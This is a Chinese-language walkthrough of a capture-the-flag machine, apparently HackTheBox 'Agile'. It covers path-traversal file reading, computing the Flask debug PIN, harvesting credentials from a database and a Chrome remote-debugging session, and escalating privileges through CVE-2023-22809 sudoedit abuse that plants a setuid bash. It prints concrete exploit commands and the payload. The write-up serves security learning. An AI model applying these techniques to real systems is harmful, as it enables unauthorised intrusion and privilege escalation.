信息搜集
1 | ┌──(kali㉿kali)-[~] |
对目录,和子域名搜集无果后,直接访问80;
文件读取
随意注册一个账号,并登录;在/vault
下有一个记录用户名和密码的功能,并且可以导出,
“导出”的http-header的get请求
1 | GET /download?fn=12345_export_9b398f27c8.csv HTTP/1.1 |
这里并不难发现,”导出”功能点存在,目录穿越导致任意文件下载;并且可以看到corum
,edwards
,dev_admin
用户位于”/home/“下;
即使这里存在文件读取,但是不知道敏感信息到路径等,无法得到立足点;
flask算pin码
在注册用户时,有一个flask的报错;得知,这是一个flask应用;当我尝试通过文件读取拿到flask默认app应用的源码是/app/app.py
时,并没有这个文件,看来路径没我想到那么简单;
我试着看看flask的动态调试是否开启,访问/console
路径,返回的是:”404 Not Found”;我以前都是这样查看flask的动态调试是否为开启状态的;我自以为访问/console
没有回显就是动态调试为关闭;实时证明我是多么愚蠢;
在报错页面,点击右侧的小窗口即,就会弹出要求输入pin的框
打ctf打多了的,一下就想到了”文件读取”+”pin码”;很明显需要我们通过文件读取从而计算pin码;
在hacktricks上有一篇关于计算pin码的文章,值得一看;
flask的pin码计算,根据环境和版本的不同,计算的方式不同。怎么确定用那种方式呢?在这台靶机中我们可以利用文件读取来查看这台机器计算pin码的源码
/app/venv/lib/python3.10
是根据报错页面得到的,site-packages/werkzeug/debug/__init__.py
则是固定路径
1 | /app/venv/lib/python3.10/site-packages/werkzeug/debug/__init__.py |
源码太长,只贴一部分,从中可以看出是以sha1
的方式计算的,我们对应的脚本也应该用sha1;
1 | probably_public_bits = [ |
username
是启动此FLASK的用户;有一个比较聪明的办法,通过环境变量/proc/self/environ
,
如果环境变量中没有,那就估计只能泄露/etc/passwd
一个一个试了
modname
is flask.app
getattr(app, "__name__", type(app).__name__)
这里的第三个值默认的Flask
,但情况并非总是如此;而是’wsgi_app’;这与 Flask 在主机上的启动方式有关。
这一点可以通过/proc/self/cmdline
;cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息。可以通过查看cmdline目录获取启动指定进程的完整命令
1 | /app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5000 --threads=10 --timeout 600 wsgi:app |
这个命令的意思是使用Python虚拟环境中的Python 3解释器来运行Gunicorn服务器,绑定到本地的5000端口,使用10个线程处理请求,并设置请求超时时间为600秒,同时运行名为app的WSGI应用程序;
getattr(mod, '__file__', None)
是Flask目录中app.py
的绝对路径,通过报错页面得知;
uuid.getnode()
是当前计算机的MAC地址,str(uuid.getnode())
是mac地址的十进制表达。
要查找服务器 MAC 地址,需要知道正在使用哪个网络接口来为应用程序提供服务(例如eth0
)。如果未知,则泄漏/proc/net/arp
设备 ID,然后泄漏MAC 地址/sys/class/net/<device id>/address
。
1 | >>> int("00:50:56:b9:1e:a9".replace(":",""),16) |
get_machine_id()
在源码中是一个函数,主要的功能是放回”/etc/machine-id”或者”/proc/sys/kernel/random/boot_id”之中一个(machine-id更优先),和”/proc/self/cgroup”的值以/
分割的第一个放回值,这一点可能表达的不是很清楚,自己看看源码就懂了;
贴了get_machine_id()
函数中的一部分代码;
1 |
|
1 | # sha1 |
user-corum
发现敏感文件,其实在/app目录下也只有config_prod.json文件对www-data可读
1 | cat config_prod.json |
伪终端
1 | python3 -c "import pty;pty.spawn('/bin/bash');" |
连接数据库
1 | mysql -usuperpassuser -p |
从superpass.passwords
表中发现corum用户的密码:5db7caa1d13cc37c9fc2
1 | ssh corum@10.10.11.203 |
权限检查
1 | corum@agile:~$ sudo -l |
Chrome调试
从/etc/hosts
发现子域名”test.superpass.htb”
1 | corum@agile:~$ cat /etc/hosts |
查看子域名的nginx配置文件;它仅在本地主机上侦听,并将所有内容代理到本地主机 5555。
1 | corum@agile:/etc/nginx/sites-available$ cat /etc/nginx/sites-available/superpass-test.nginx |
通过ssh本地端口转发到kali机上;
1 | ssh -L 5555:localhost:5555 corum@superpass.htb |
而然,这并没有帮助;
在/tests/functional/test_site_interactively.py
文件发现在动态调试selenium
;之前python爬虫用过selenium
;
Selenium是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。
1 | corum@agile:/app/app-testing$ cat ./tests/functional/test_site_interactively.py |
从文件中发现”–remote-debugging-port=41829”
1 | corum@agile:/app/app-testing$ netstat -ltun|grep 41829 |
本地端口转发
1 | ssh -L 41829:localhost:41829 corum@superpass.htb |
打开 Chromium 并chrome://inspect
转到设备页面
单击“done”会显示一个新的远程目标:
单击“inspect”会弹出一个连接到测试 selenium 的开发工具实例:
从中可以发现”edwards”用户的密码:”d07867c6267dcb5df0af”
user-edwards
1 | corum@agile:~$ su edwards |
权限检查
1 | edwards@agile:~$ sudo -l |
发现可以用dev_admin
用户的sudoedit
命令编辑两个文件;这两个文件似乎并没有什么帮助;
1 | sudo -u dev_admin sudoedit /app/config_test.json |
1 | sudo -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt |
sudo版本从1.8.0到1.9.12p1之间存在CVE-2023-22809
1 | edwards@agile:~$ sudo --version |
此漏洞允许用户在用户提供的环境变量中提供额外的参数,从而允许攻击者访问配置允许的其他文件以进行处理。此处应用允许 edwards 将任何文件写入 dev_admin,而不仅仅是这两个。
我们只能编辑以前作为dev_admin找到的文件。在/app中找到的test_and_upgrade.sh bash脚本显示了一个有趣的命令,特别source /app/venv/bin/activate
1 | edwards@agile:/app$ cat test_and_update.sh |
我们可以看到,该文件由根目录所有,组归dev_admin所有,后者拥有编辑该文件的权限。
1 | edwards@agile:~$ ls -al /app/venv/bin/activate |
利用CVE-2023-22809往/app/venv/bin/activate
写恶意代码;
1 | EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json |
恶意代码如下;
1 | cp /bin/bash /tmp/zixyd |
最后等几分钟,
1 | edwards@agile:~# ls -al /tmp/zixyd |